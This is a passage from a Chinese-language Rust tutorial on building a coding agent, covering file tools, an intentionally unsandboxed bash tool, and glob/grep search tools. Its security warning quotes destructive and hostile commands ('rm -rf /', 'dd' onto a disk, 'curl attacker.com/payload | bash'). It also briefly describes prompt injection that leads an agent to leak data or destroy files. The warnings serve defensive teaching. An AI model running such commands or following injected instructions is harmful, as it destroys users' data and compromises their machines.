三个工具都在 src/tools/,与后续章节要构建的其他工具放在一起。starter 的模块结构:
src/tools/
mod.rs -- re-exports all tools
ask.rs -- AskTool (bonus)
bash.rs -- BashTool (Chapter 10)
edit.rs -- EditTool
read.rs -- ReadTool
write.rs -- WriteTool
mod.rs 桶文件重新导出所有内容:
#![allow(unused)] fn main() { mod ask; mod bash; mod edit; mod read; mod write; pub use ask::*; pub use bash::BashTool; pub use edit::EditTool; pub use read::ReadTool; pub use write::WriteTool; }
这样使用者可以写 use crate::tools::{ReadTool, WriteTool, EditTool},无需深入各个模块。
6.7 测试
运行文件工具测试:
cargo test -p mini-claw-code-starter test_read_ # ReadTool
cargo test -p mini-claw-code-starter test_write_ # WriteTool
cargo test -p mini-claw-code-starter test_edit_ # EditTool
cargo test 的过滤器是子字符串匹配,不支持 OR,无法一次调用组合多个前缀。分三条命令分别运行,或去掉所有前缀用通配命令一次看完:
cargo test -p mini-claw-code-starter -- --test-threads=1。
各测试验证的内容:
ReadTool 测试(在 test_read_ 中)
test_read_read_definition:检查工具定义的名称是否为 "read"。test_read_read_file:读取文件,验证内容出现在输出中。test_read_read_missing_file:尝试读取不存在的文件,验证结果是Err。
WriteTool 测试(在 `` 中)
test_write_creates_file:向新文件写入内容,验证结果包含确认信息,并读回文件确认内容。test_write_creates_dirs:写入嵌套目录中的文件,所有中间目录自动创建。test_write_overwrites_existing:向已有内容的文件写入,验证旧内容被替换。
EditTool 测试(在 `` 中)
test_edit_replaces_string:编辑文件中的字符串,验证结果显示 "edited" 且文件已更新。test_edit_not_found:尝试替换不存在的字符串,验证结果是Err。test_edit_not_unique:尝试替换多次出现的字符串,验证错误提到了歧义性。
小结
三个工具,一种模式。本章每个工具都遵循相同结构:
- 结构体,带
definition: ToolDefinition字段。 new()构造函数,用第 4 章的参数构建器构建定义。Tool实现,包含definition()和call()。
这种模式可扩展。第 10 章加入 Bash 时,结构完全相同,只有 call() 的逻辑不同。这就是 Tool trait 的威力:统一接口,让每个工具从 agent 角度看都是可互换的。
本章核心经验:
- 自动化显而易见的事。
WriteTool自动创建父目录,省去一次浪费的工具调用。 - 检查唯一性。
EditTool要求旧字符串恰好出现一次。零次匹配说明模型字符串有误,多次匹配说明替换有歧义。 - 错误干净传播。 工具返回
anyhow::Result<String>,agent 循环捕获错误并转为 LLM 可读、可恢复的消息。
核心要点
文件工具是 agent 操作代码库的双手。读取、写入、编辑三工具的划分,给了 LLM 针对不同操作的清晰动词,而非一个臃肿的"文件"工具。EditTool 的唯一性检查是最重要的设计决策:强制 LLM 提供无歧义的匹配,及早发现错误,从而实现可靠的自我纠正。
第 10 章:Bash 工具将构建 agent 武器库中最强大(也最危险)的工具——可以运行任意 shell 命令。
自测
← 第 8 章:系统提示词 · 目录 · 第 10 章:Bash 工具 →
第 10 章:Bash 工具
需要编辑的文件:
src/tools/bash.rs运行测试:cargo test -p mini-claw-code-starter test_bash_预计时间: 35 分钟
目标
- 实现
BashTool,让 agent 能通过bash -c运行任意 shell 命令,并捕获合并后的 stdout/stderr 输出。 - 正确处理三种输出情况:仅有 stdout、仅有 stderr,以及无输出(哨兵值
"(no output)")。 - 理解为什么本章工具没有安全限制,以及后续章节会添加哪些保护措施(权限、命令分类、钩子)。
bash 工具是 coding agent 中最强大的工具,也是最危险的。一次工具调用,LLM 就能编译代码、运行测试、安装软件包、查看进程、查询数据库,或者删掉你的整个文件系统。其他工具——read、write、edit、grep——各做一件事;bash 什么都能做。
这种能力正是 coding agent 的价值所在。只能读写文件的 agent 是个花哨的文本编辑器;能运行任意 shell 命令的才是真正的程序员——可以尝试、观察、迭代,和人类开发者的工作流一模一样。Claude Code 的 bash 工具是其使用最频繁的工具,在典型会话中占所有工具调用的大多数。
本章构建 BashTool:接收命令字符串,在 bash 子进程中运行,返回合并后的输出。(超时功能作为扩展在后面介绍。)实现本身并不复杂——难点在于刻意省略的部分。没有沙箱,没有命令过滤,没有权限检查,LLM 可以运行任何命令。第 13-16 章加安全防护,现在先把引擎造好,信任驾驶员。
BashTool 处理命令的流程
flowchart TD
A[LLM sends ToolCall: bash] --> B[Extract command from args]
B --> C[tokio::process::Command::new bash -c command]
C --> D[.output captures stdout + stderr]
D --> E{stdout empty?}
E -->|No| F[Add stdout to result]
E -->|Yes| G[Skip]
F --> H{stderr empty?}
G --> H
H -->|No| I["Add 'stderr: ' + stderr"]
H -->|Yes| J[Skip]
I --> K{result empty?}
J --> K
K -->|Yes| L["Return '(no output)'"]
K -->|No| M[Return combined result]
BashTool
打开 src/tools/bash.rs,初始桩代码如下:
#![allow(unused)] fn main() { use anyhow::Context; use serde_json::Value; use crate::types::*; pub struct BashTool { definition: ToolDefinition, } impl Default for BashTool { fn default() -> Self { Self::new() } } impl BashTool { /// Schema: one required "command" parameter (string). pub fn new() -> Self { unimplemented!( "Use ToolDefinition::new(name, description).param(...) to define a required \"command\" parameter" ) } } #[async_trait::async_trait] impl Tool for BashTool { fn definition(&self) -> &ToolDefinition { &self.definition } async fn call(&self, _args: Value) -> anyhow::Result<String> { unimplemented!( "Extract command, run bash -c, combine stdout + stderr, return \"(no output)\" if both empty" ) } } }
填写 new() 和 call(),完整实现如下:
#![allow(unused)] fn main() { impl BashTool { pub fn new() -> Self { Self { definition: ToolDefinition::new("bash", "Run a bash command and return its output") .param("command", "string", "The bash command to run", true), } } } #[async_trait::async_trait] impl Tool for BashTool { fn definition(&self) -> &ToolDefinition { &self.definition } async fn call(&self, args: Value) -> anyhow::Result<String> { let command = args["command"] .as_str() .context("missing 'command' argument")?; let output = tokio::process::Command::new("bash") .arg("-c") .arg(command) .output() .await?; let stdout = String::from_utf8_lossy(&output.stdout); let stderr = String::from_utf8_lossy(&output.stderr); let mut result = String::new(); if !stdout.is_empty() { result.push_str(&stdout); } if !stderr.is_empty() { if !result.is_empty() { result.push('\n'); } result.push_str("stderr: "); result.push_str(&stderr); } if result.is_empty() { result.push_str("(no output)"); } Ok(result) } } }
下面逐段讲解。
工具定义
#![allow(unused)] fn main() { ToolDefinition::new("bash", "Run a bash command and return its output") .param("command", "string", "The bash command to run", true) }
只有一个必填参数:command,即要执行的 shell 命令。描述语 "Run a bash command and return its output" 刻意简洁。LLM 本就知道 bash 是什么,过度描述浪费 prompt token,还可能让模型在判断何时使用时过度纠结。
扩展方向:可以添加 timeout 参数,让 LLM 为耗时较长的命令覆盖默认超时。参考实现中包含了这一功能。
参数提取
#![allow(unused)] fn main() { let command = args["command"] .as_str() .context("missing 'command' argument")?; }
提取 command 时,.context(...) 配合 ? 在参数缺失时返回 Err。没有命令的 bash 调用属于协议违规,不是工具故障。LLM 不应产生这种情况,一旦出现,agent 的错误处理会捕获它。
运行命令
#![allow(unused)] fn main() { let output = tokio::process::Command::new("bash") .arg("-c") .arg(command) .output() .await?; }
Rust 概念:tokio::process::Command 与 std::process::Command
tokio::process::Command 是 std::process::Command 的异步版本。核心区别:std 版本在等待子进程结束时阻塞当前 OS 线程;在 Tokio 这样的异步运行时中,阻塞线程意味着运行时无法推进其他任务(其他工具调用、流式事件、UI 更新等)。tokio 版本在等待时让出运行时,线程得以处理其他工作。在 async fn 中请始终使用 tokio::process——在异步上下文中使用 std::process 是常见错误,高负载下可能导致性能问题甚至死锁。
这里有两层逻辑,各司其职:
-
tokio::process::Command启动异步子进程。使用bash -c,让命令字符串由 bash 解释执行,而非作为原始二进制调用。管道、重定向、分号等所有 shell 特性都可用:echo hello | wc -c、ls > out.txt、cd /tmp && pwd。 -
.output()收集进程的 stdout、stderr 和退出状态,将所有内容缓冲到内存。生产 agent 通常需要流式输出(实时将 stdout/stderr 传给 TUI),但缓冲收集更简单,对我们的目的已足够。
进程启动失败时(找不到 bash、OS 拒绝创建进程),? 将错误向上传播,agent 循环捕获后报告给 LLM。
添加超时(扩展)
没有超时,一个出问题的命令就能让 agent 永久挂起。LLM 可能运行 sleep infinity、启动监听端口的服务器,或触发等待 stdin 的交互程序——这些都会无限期阻塞 agent 循环,没有新的工具调用,没有新的响应,只剩一个空转消耗计算资源的冻结进程。
扩展方案:用 tokio::time::timeout 包装命令:
#![allow(unused)] fn main() { let output = tokio::time::timeout( std::time::Duration::from_secs(120), tokio::process::Command::new("bash") .arg("-c") .arg(command) .output(), ) .await; }
这会产生嵌套的 Result:成功时为 Ok(Ok(output)),启动失败时为 Ok(Err(e)),超时时为 Err(_)。参考实现包含了这一模式。
输出格式
输出构建逻辑处理三种情况:stdout、stderr 和空输出。
#![allow(unused)] fn main() { let stdout = String::from_utf8_lossy(&output.stdout); let stderr = String::from_utf8_lossy(&output.stderr); let mut result = String::new(); if !stdout.is_empty() { result.push_str(&stdout); } if !stderr.is_empty() { if !result.is_empty() { result.push('\n'); } result.push_str("stderr: "); result.push_str(&stderr); } if result.is_empty() { result.push_str("(no output)"); } }
逐条分析:
Rust 概念:String::from_utf8_lossy 与 String::from_utf8
String::from_utf8_lossy 返回 Cow<str>——字节是合法 UTF-8 时零拷贝借用,否则分配新 String 并用替换字符代替非法字节。另一选项 String::from_utf8() 遇到无效 UTF-8 返回 Err,需要额外处理,而这类情况我们希望容忍。需要字符串但无法保证输入编码时,from_utf8_lossy 是正确选择。
String::from_utf8_lossy 将原始字节转为字符串,用替换字符代替无效 UTF-8 序列。命令输出不能保证是合法 UTF-8——二进制数据、依赖 locale 的编码、损坏的流都可能产生无效字节。有损转换是正确的默认选择:LLM 需要字符串,几个替换字符远好过程序崩溃。
stdout 排前面,不加修饰。 这是主要输出。ls 列文件、cat 打印内容时,输出原样呈现,不加前缀,不做包装。
stderr 加上 "stderr: " 前缀。 让 LLM 区分正常输出与错误输出。很多命令即便成功也会向 stderr 写入内容(编译器警告、进度指示、弃用提醒)。前缀防止模型把警告误判为失败。只有 stdout 也有内容时才在前缀前加换行,保持仅有 stderr 时输出整洁。
静默命令返回 "(no output)"。 true、mkdir -p /tmp/foo、cp a b 等命令成功执行后不产生任何 stdout 和 stderr。返回空字符串会让 LLM 困惑,以为工具失败或结果丢失。这个哨兵字符串明确告知:命令已执行,只是没有输出。
扩展方向:也可以在输出中报告非零退出码。参考实现会在进程以非零状态退出时附加 "exit code: N",帮助 LLM 诊断失败原因。
安全注意事项
bash 工具是 agent 工具箱中最危险的工具,可以运行任何命令——rm -rf /、dd if=/dev/zero of=/dev/sda、curl ... | bash。starter 简化版 Tool trait 不包含 is_destructive() 这类安全标志,但在生产 agent(以及参考实现)中,bash 工具会被标记为破坏性操作,即使在自动确认模式下也需要用户明确批准。
starter 的 Tool trait 只有 definition() 和 call()。添加安全元数据(只读、破坏性、并发安全标志)是后续章节的扩展主题。
安全警告
该工具将 LLM 生成的命令直接传给 bash shell,没有沙箱,没有命令过滤,没有白名单,没有黑名单。LLM 可以运行 rm -rf /,文件系统就没了;可以运行 curl attacker.com/payload | bash,机器就被攻陷了;还可以读取你的 SSH 密钥、环境变量、浏览器 cookie。
这不是假设性的担忧。LLM 可以通过提示注入被操控——恶意指令隐藏在 agent 处理的文件内容、README 或网页中。精心构造的提示注入可能让模型泄露数据或销毁文件。
在本教程范围内,bash 工具在受控环境中配合可信 prompt 使用是安全的。不要指向不受信任的输入,不要在有敏感数据的机器上运行,请使用容器、虚拟机,或至少使用权限受限的专用用户账户。
第 13-16 章会构建使 bash 工具适合生产环境的安全基础设施:
- 第 13 章(权限):添加权限引擎,对每次工具调用设置门控,破坏性操作要求用户批准。
- 第 14 章(安全):添加命令分类,检测并阻止
rm -rf、chmod 777、curl | bash等危险模式。 - 第 15 章(钩子):添加工具调用前钩子,在执行前检查并拒绝命令。
- 第 16 章(计划模式):添加只读模式,彻底阻止破坏性工具。
构建这些章节之前,请以对待不可预测协作者的 sudo 权限那样的态度认真对待 bash 工具。
Claude Code 的做法
Claude Code 的 bash 工具共用同一核心——带超时的 bash -c <command>——但加了多层生产级加固:
命令过滤。 执行任何命令前,Claude Code 通过安全分类器检查危险模式。rm -rf /、chmod -R 777、curl ... | sh 等会被标记或直接阻断。分类器不是简单的正则——理解 shell 引号和管道,避免误判。
工作目录管理。 Claude Code 为每次 bash 调用跟踪并设置工作目录。用户在一条命令中 cd 进入某目录后,后续命令会记住。我们的版本始终在进程当前目录下运行。
超时时杀掉进程组。 我们的工具超时后,被启动的进程可能继续在后台运行。Claude Code 为每条命令创建进程组,超时时杀掉整个进程组,确保没有孤儿进程残留。
流式输出 stdout/stderr。 Claude Code 不是等所有输出就绪后才一次性返回,而是实时将 stdout 和 stderr 管道传送到 TUI。用户能实时看到编译输出、测试结果和进度指示。对于耗时较长的命令,等待最终结果会让用户盯着空白屏幕——流式输出在这种场景下必不可少。
权限引擎集成。 每条 bash 命令在执行前都经过权限引擎。根据配置,用户可能被提示批准命令,命令可能被自动批准(匹配安全模式),也可能被直接拒绝。
我们的版本是不带安全包装的核心协议——展示 LLM 如何与 shell 交互的最小可行实现。生产特性是叠加在上面的层次,不是对基础设计的改变。
测试
运行 bash 工具测试:
cargo test -p mini-claw-code-starter test_bash_
各条 bash 专项测试的验证内容:
test_bash_definition:检查工具名称为 "bash"。
test_bash_runs_command:运行简单命令,检查 stdout 被正确捕获。
test_bash_captures_stderr:运行向 stderr 写入内容的命令,检查输出中包含 stderr 内容。
test_bash_stdout_and_stderr:运行同时产生 stdout 和 stderr 的命令,验证两者都出现在输出中。
test_bash_no_output:运行 true(静默成功的命令),检查输出表明没有产生输出。
test_bash_multiline_output:运行多命令管道,检查所有输出行都出现。
小结
bash 工具构建完成——agent 工具箱中最重要也最危险的工具:
command是唯一的必填参数。tokio::process::Command配合bash -c,赋予 LLM 完整的 shell 访问能力——管道、重定向、变量,以及所有 bash 支持的特性。- 输出格式将 stdout 和带标签的 stderr 合并为单个字符串,静默命令返回
"(no output)"告知 LLM 命令已执行。 - 无安全限制——本章构建的是原始能力,权限引擎、安全分类器、钩子和计划模式留到后续章节。
扩展方向:可以添加 timeout 参数(防止命令挂起)、退出码报告,以及 is_destructive() 等安全标志。
bash 工具使核心工具集完整。agent 现在可以读取文件、写入文件、编辑文件、运行任意命令。配合前几章的 SimpleAgent 驱动循环,已经拥有一个可运行的 coding agent——能理解代码库、进行修改、运行测试,持续迭代直到任务完成。
核心要点
bash 工具是让 coding agent 成为程序员而非文本编辑器的关键。实现上是最简单的工具(一个 Command::new("bash").arg("-c").arg(command) 调用),做到安全却最难。捕获输出、标记 stderr、处理静默——这套实现模式可复用于任何基于子进程的工具。
下一步
第 11 章:搜索工具将构建帮助 agent 导航大型代码库的工具——按模式查找文件的 glob,以及搜索文件内容的 grep。这些只读工具是 agent 的眼睛,与已经构建的双手(bash、write、edit)相辅相成。
自我检测
← 第 9 章:文件工具 · 目录 · 第 11 章:搜索工具 →
第 11 章:搜索工具
需要编辑的文件: (扩展章节——starter 中无桩代码) 测试: starter 中无测试。GlobTool 和 GrepTool 属于扩展工具。 预计时间: 25 分钟(只读)
目标
- 理解为什么文件发现(GlobTool)和内容搜索(GrepTool)是两个独立工具,各有不同的参数 schema。
- 实现
GlobTool,让 agent 能用globcrate 按名称模式查找文件。 - 实现支持递归目录遍历、正则匹配和可选文件类型过滤的
GrepTool。 - 了解在工具实现中何时用异步辅助函数、何时用同步辅助函数(I/O 密集型文件读取 vs. 快速目录遍历)。
只能读取已知文件的 coding agent,就像从不使用 find 或 grep 的开发者。给它具体的文件路径,它会忠实地读;把它丢进陌生的代码库,它就成了睁眼瞎。无法发现哪些文件存在,无法搜索函数定义,无法找出某个类型被使用的所有地方。没有搜索,LLM 只能猜文件路径——而且会猜错。
搜索工具解决了这个问题。本章探讨两个:GlobTool 按名称模式查找文件,GrepTool 按正则搜索文件内容。二者共同赋予 LLM 导航任意代码库的能力,无论规模多大、多么陌生。它们是 agent 的眼睛。
搜索工具在 agent 工作流中的位置
flowchart TD
LLM[LLM decides what to do]
LLM -->|"What files exist?"| Glob[GlobTool]
LLM -->|"Where is this defined?"| Grep[GrepTool]
Glob -->|returns file paths| LLM
Grep -->|"returns path:line: content"| LLM
LLM -->|reads specific file| Read[ReadTool]
LLM -->|modifies file| Edit[EditTool]
Read -->|file contents| LLM
Edit -->|confirmation| LLM
注意: 搜索工具在本书中属于扩展内容——starter(
mini-claw-code-starter)和参考实现(mini-claw-code)均未内置GlobTool或GrepTool。如果你想添加,需要从头创建src/tools/glob.rs和src/tools/grep.rs,并在src/tools/mod.rs中注册。两个工具的完整参考代码均在下文内联展示——把本章看作带注释的实现演练,而非填写桩代码的练习。
两个工具,两个问题
glob 和 grep 的分工对应 LLM 在探索代码时提出的两类截然不同的问题:
-
"有哪些文件?" — GlobTool。LLM 知道自己想要 Rust 文件、测试文件或配置文件,但不知道确切路径。
**/*.rs或tests/*.toml这样的 glob 模式能给出答案。 -
"这个东西定义在哪里?" — GrepTool。LLM 知道一个函数名、一个类型或一条错误信息,需要找到它在哪个文件的哪一行。
fn parse_sse_line或struct QueryConfig这样的正则模式能给出答案。
Claude Code 将它们设计为独立工具,正是基于这个原因。服务不同目的,接收不同输入,LLM 根据当前已知信息在二者之间做出选择。合并为一个工具只会模糊接口——LLM 不得不判断自己是在做名称搜索还是内容搜索,参数 schema 也会变得别扭。
GlobTool
GlobTool 是两者中较简单的。接收 glob 模式,可选地限定在某个基础目录,返回所有匹配的文件路径。
文件布局
实现位于 src/tools/glob.rs,完整代码如下:
#![allow(unused)] fn main() { use async_trait::async_trait; use serde_json::Value; use crate::types::*; pub struct GlobTool { definition: ToolDefinition, } impl GlobTool { pub fn new() -> Self { Self { definition: ToolDefinition::new("glob", "Find files matching a glob pattern") .param("pattern", "string", "Glob pattern (e.g. \"**/*.rs\")", true) .param( "path", "string", "Base directory to search in (default: current directory)", false, ), } } } impl Default for GlobTool { fn default() -> Self { Self::new() } } #[async_trait] impl Tool for GlobTool { fn definition(&self) -> &ToolDefinition { &self.definition } async fn call(&self, args: Value) -> anyhow::Result<String> { let pattern = args["pattern"] .as_str() .ok_or_else(|| anyhow::anyhow!("missing 'pattern' argument"))?; let base = args .get("path") .and_then(|v| v.as_str()) .unwrap_or("."); let full_pattern = if pattern.starts_with('/') || pattern.starts_with('.') { pattern.to_string() } else { format!("{base}/{pattern}") }; let entries: Vec<String> = glob::glob(&full_pattern) .map_err(|e| anyhow::anyhow!("invalid glob pattern: {e}"))? .filter_map(|entry| entry.ok()) .map(|p| p.display().to_string()) .collect(); if entries.is_empty() { Ok("no files matched".to_string()) } else { Ok(entries.join("\n")) } } } }
实现逐段讲解
工具定义。 两个参数:pattern(必填)和 path(可选)。模式是标准 glob——*.rs 匹配当前目录下的 Rust 文件,**/*.rs 递归匹配所有 Rust 文件,src/**/*.toml 匹配 src/ 下的 TOML 文件。path 设置基础目录,省略时默认为 `"."(当前工作目录)。
模式构造。 call 方法根据基础目录和用户提供的模式构建完整 glob 模式。模式已经以 / 或 . 开头时,视为绝对路径或相对路径直接使用;否则在前面拼接基础目录:format!("{base}/{pattern}")。以 {"pattern": "*.rs", "path": "/home/user/project"} 调用时,生成 glob /home/user/project/*.rs。
glob crate。 使用 glob crate(已在 Cargo.toml 中)进行实际匹配。glob::glob() 返回 Result<PathBuf> 条目的迭代器,用 filter_map 配合 entry.ok() 静默跳过失败的路径(权限错误、损坏的符号链接)。剩余路径转为显示字符串后收集。
输出格式。 匹配路径以换行符连接,每行一个路径。没有匹配时返回 "no files matched" 而非空字符串。这对 LLM 很重要:明确的 "no files matched" 告知它模式有效但没有找到文件,从而提示尝试不同模式。空字符串则含义模糊。
GrepTool
GrepTool 更复杂。用正则搜索文件内容,可选地限定在某个目录并按文件类型过滤。输出遵循经典 grep 格式:path:line_no: content。
完整实现
以下是 src/tools/grep.rs:
#![allow(unused)] fn main() { use std::path::Path; use async_trait::async_trait; use serde_json::Value; use crate::types::*; pub struct GrepTool { definition: ToolDefinition, } impl GrepTool { pub fn new() -> Self { Self { definition: ToolDefinition::new("grep", "Search file contents using a regex pattern") .param("pattern", "string", "Regex pattern to search for", true) .param( "path", "string", "File or directory to search in (default: current directory)", false, ) .param( "include", "string", "Glob pattern to filter files (e.g. \"*.rs\")", false, ), } } } impl Default for GrepTool { fn default() -> Self { Self::new() } } #[async_trait] impl Tool for GrepTool { fn definition(&self) -> &ToolDefinition { &self.definition } async fn call(&self, args: Value) -> anyhow::Result<String> { let pattern = args["pattern"] .as_str() .ok_or_else(|| anyhow::anyhow!("missing 'pattern' argument"))?; let re = regex::Regex::new(pattern) .map_err(|e| anyhow::anyhow!("invalid regex pattern: {e}"))?; let search_path = args .get("path") .and_then(|v| v.as_str()) .unwrap_or("."); let include_pattern = args.get("include").and_then(|v| v.as_str()); let include_glob = include_pattern .map(|p| glob::Pattern::new(p)) .transpose() .map_err(|e| anyhow::anyhow!("invalid include pattern: {e}"))?; let path = Path::new(search_path); let mut matches = Vec::new(); if path.is_file() { search_file(&re, path, &mut matches).await; } else if path.is_dir() { let mut entries = Vec::new(); collect_files(path, &include_glob, &mut entries); entries.sort(); for file_path in entries { search_file(&re, &file_path, &mut matches).await; } } else { anyhow::bail!("path does not exist: {search_path}"); } if matches.is_empty() { Ok("no matches found".to_string()) } else { Ok(matches.join("\n")) } } } /// Search a single file for regex matches and append formatted results. async fn search_file(re: ®ex::Regex, path: &Path, matches: &mut Vec<String>) { let Ok(content) = tokio::fs::read_to_string(path).await else { return; // Skip binary/unreadable files }; let display = path.display(); for (line_no, line) in content.lines().enumerate() { if re.is_match(line) { matches.push(format!("{display}:{}: {line}", line_no + 1)); } } } /// Recursively collect files from a directory, optionally filtering by glob. fn collect_files( dir: &Path, include: &Option<glob::Pattern>, out: &mut Vec<std::path::PathBuf>, ) { let Ok(entries) = std::fs::read_dir(dir) else { return; }; for entry in entries.flatten() { let path = entry.path(); if path.is_dir() { // Skip hidden directories if path .file_name() .is_some_and(|n| n.to_string_lossy().starts_with('.')) { continue; } collect_files(&path, include, out); } else if path.is_file() { if let Some(glob) = include { let name = path .file_name() .map(|n| n.to_string_lossy().to_string()) .unwrap_or_default(); if !glob.matches(&name) { continue; } } out.push(path); } } } }
实现逐段讲解
内容较多,逐步拆解。
工具定义。 三个参数:pattern(必填,正则)、path(可选,文件或目录)、include(可选,文件名 glob 过滤)。LLM 可能以 {"pattern": "fn main"} 搜索当前目录,也可能以 {"pattern": "TODO", "path": "src/", "include": "*.rs"} 只搜索 src/ 下的 Rust 文件。
正则编译。 模式提前编译为 regex::Regex。LLM 提供无效正则时(缺少闭合括号、错误转义),立即返回错误,而非在搜索途中崩溃。regex crate 支持完整的 Rust 正则语法——字符类、量词、交替、捕获组。
include 过滤器。 include 参数是 glob 模式,不是正则。使用与 GlobTool 相同的 glob crate,将其编译为 glob::Pattern。
Rust 概念:Option::transpose
.transpose() 将 Option<Result<T>> 转换为 Result<Option<T>>。这是处理可能失败的可选操作的常用 Rust 惯用法。没有 transpose,需要用 match 或 if let 分别处理 Some(Ok(...))、Some(Err(...)) 和 None 三种情况;有了它,可以用 ? 传播错误,得到干净的 Option<T>。x.map(fallible_fn).transpose()? 的含义:如果存在,尝试该操作;失败则传播错误;不存在则产生 None。
三路路径分发。 搜索路径可以是文件、目录或不存在:
- 文件:只搜索那一个文件。LLM 已知要看哪个文件时这样调用。
- 目录:递归收集所有文件(如果提供了
include则过滤),排序后逐一搜索,确保输出有序。 - 不存在:通过
bail!返回错误。agent 循环捕获后向 LLM 报告"error: path does not exist: /nonexistent/path",模型可以尝试其他路径恢复。
输出格式。 每条匹配格式化为 path:line_no: content,遵循经典 grep 惯例。行号从 1 开始(人类和 LLM 都期望第一行是第 1 行,不是第 0 行)。没有匹配时返回 "no matches found"——明确胜于空白。
辅助函数设计
Rust 概念:辅助函数中异步与同步的选择
两个辅助函数——search_file 和 collect_files——有意采用了不同的签名。理解其中原因,可以揭示实用的 Rust 异步模式。决策规则很简单:函数执行可能阻塞的 I/O(读取文件内容)就用异步;执行快速的元数据操作(列出目录条目)就保持同步。 把所有东西都变成异步"以防万一"只会增加复杂度——递归异步函数需要 Pin<Box<dyn Future>> 或 async_recursion crate——而当操作本身已经很快时,这样做毫无收益。
search_file 是异步的
#![allow(unused)] fn main() { async fn search_file(re: ®ex::Regex, path: &Path, matches: &mut Vec<String>) { let Ok(content) = tokio::fs::read_to_string(path).await else { return; // Skip binary/unreadable files }; let display = path.display(); for (line_no, line) in content.lines().enumerate() { if re.is_match(line) { matches.push(format!("{display}:{}: {line}", line_no + 1)); } } } }
该函数从磁盘读文件,涉及 I/O。使用 tokio::fs::read_to_string 而非 std::fs::read_to_string,可以在等待文件系统时让异步运行时处理其他工作。在支持并发工具执行的真实 agent 中,这一点很重要——慢速 NFS 挂载或大文件不应阻塞整个运行时。
let Ok(content) = ... else { return; } 模式是静默退出。文件无法读取时——是二进制文件、指向已删除文件的符号链接,或用户缺少权限——直接跳过。这对搜索工具是正确行为。LLM 问的是"这个模式出现在哪里",答案只应包含实际能检查的文件。为目录树中每个不可读文件报告错误,只会让有用结果淹没在噪音中。
collect_files 是同步的
#![allow(unused)] fn main() { fn collect_files( dir: &Path, include: &Option<glob::Pattern>, out: &mut Vec<std::path::PathBuf>, ) { let Ok(entries) = std::fs::read_dir(dir) else { return; }; for entry in entries.flatten() { let path = entry.path(); if path.is_dir() { if path .file_name() .is_some_and(|n| n.to_string_lossy().starts_with('.')) { continue; } collect_files(&path, include, out); } else if path.is_file() { if let Some(glob) = include { let name = path .file_name() .map(|n| n.to_string_lossy().to_string()) .unwrap_or_default(); if !glob.matches(&name) { continue; } } out.push(path); } } } }
目录遍历很快——只读取元数据,不读取文件内容。变成异步会增加复杂度(递归异步函数需要装箱),却没有实质性的性能提升。同步的 std::fs::read_dir 在这里完全够用。
三个值得注意的细节:
跳过隐藏目录。 名称以 . 开头的目录整个跳过。排除了 .git、.cargo、.vscode、以点前缀隐藏的 node_modules 等——这些几乎不是 LLM 想搜索的地方。没有这个过滤,对项目目录的 grep 会把大部分时间花在扫描 .git/objects——数千个二进制 blob 文件,不会产生任何有用匹配。
include 过滤器。 存在时,glob 模式只对文件名称(不是完整路径)匹配。"*.rs" 匹配 src/main.rs,检查的是 main.rs 本身。这符合直觉——LLM 说"只搜索 Rust 文件"时,指的是以 .rs 结尾的文件,无论在目录树的哪一层。
排序。 收集完所有文件后,在搜索前排序。确保输出顺序确定。没有排序,read_dir 以文件系统顺序返回条目,在不同操作系统乃至同一系统的不同运行间都会不同。确定性的输出让测试可靠,也让 LLM 的体验保持一致。
为什么要设计成两个独立工具
你可能会想:为什么不用一个带 mode 参数的 SearchTool?答案在于 LLM 的决策方式。
LLM 在 schema 中看到两个独立工具——一个叫 glob 描述为"按模式查找文件",一个叫 grep 描述为"用正则搜索文件内容"——能立刻将意图映射到正确的工具。"找所有测试文件"对应 glob;"找 parse_sse_line 的定义位置"对应 grep。
带 mode: "files" | "content" 参数的合并工具增加了一层决策。LLM 需要更仔细地阅读 schema,理解 mode 字段,还要正确填写。对于较小的模型,这层额外的间接性会导致错误——以错误的 mode 调用,或完全省略 mode 参数。
Claude Code 保持它们分开,我们也一样。
还有个实际原因:两者的参数集不同。Glob 接收 glob 模式和基础路径;Grep 接收正则模式、路径和 include 过滤器。合并意味着 LLM 总会看到与当前操作无关的参数,既浪费上下文 token,也增加混淆的可能性。
Claude Code 的做法
我们的实现是核心协议——不到 200 行捕获了本质行为。Claude Code 的生产版本要复杂得多。
Claude Code 的 Glob 内部使用 ripgrep 以提升速度。在拥有数十万文件的大型代码库中,glob crate 的纯 Rust 实现可能较慢。Ripgrep 的目录遍历器针对这种场景做了优化,遵守 .gitignore 规则并并行化遍历。Claude Code 的 Glob 还支持按修改时间排序结果(最近修改的文件优先,通常正是 LLM 想要的),并限制结果数量,避免淹没上下文窗口。
Claude Code 的 Grep 同样有所增强。支持上下文行(-A、-B、-C 标志)以显示周边代码,帮助 LLM 理解匹配内容,无需额外的 read 调用。提供多种输出模式:显示匹配行(默认)、只显示文件路径(用于统计)或显示每个文件的匹配数量。文件类型过滤使用 ripgrep 的内置类型系统而非 glob 模式,--type rust 知道 .rs 文件、Cargo.toml 和 build.rs,无需用户拼写 glob。
我们的版本省略了所有这些,使用 glob crate 而非 ripgrep,没有上下文行、没有输出模式、没有结果限制。但拥有正确的协议:LLM 发送模式,得到可解析格式的匹配结果。其余都是优化。之后想升级,Tool trait 接口保持不变——只有 call() 的内部实现会改变。
测试
GlobTool 和 GrepTool 是扩展工具,starter 和参考实现均未为它们提供测试。以下断言描述的是你在构建这些工具时应当编写的测试用例——它们是工具应当满足的契约。将工具代码复制到 mini-claw-code-starter/src/tools/ 并编写这些测试后,可以通过以下命令运行:
cargo test -p mini-claw-code-starter grep
推荐的测试用例:
GlobTool 测试
test_grep_glob_find_files:创建包含 a.rs、b.rs 和 c.txt 的临时目录,glob 匹配 *.rs,验证两个 .rs 文件出现在结果中,.txt 文件不出现。
test_grep_glob_recursive:创建临时目录,根目录有 top.rs,子目录 sub/ 有 deep.rs,glob 匹配 **/*.rs,验证两个文件都被找到,确认递归下降有效。
test_grep_glob_no_matches:创建包含 file.txt 的临时目录,glob 匹配 *.xyz,验证结果包含 "no files matched"。
test_grep_glob_definition:验证工具定义的名称为 "glob"。
GrepTool 测试
test_grep_grep_single_file:创建包含 fn main() 和 println!("hello") 的文件,grep 搜索 "println",验证匹配结果包含内容和正确行号(:2:)。
test_grep_grep_directory:创建两个文件,均包含 fn foo(),对目录 grep 搜索 "fn foo",验证两个文件都出现在结果中。
test_grep_grep_with_include:创建 code.rs 和 data.txt,均包含 "hello world",带 include: "*.rs" 进行 grep,验证结果中只出现 .rs 文件。
test_grep_grep_no_matches:创建文件并 grep 不存在的模式,验证结果包含 "no matches found"。
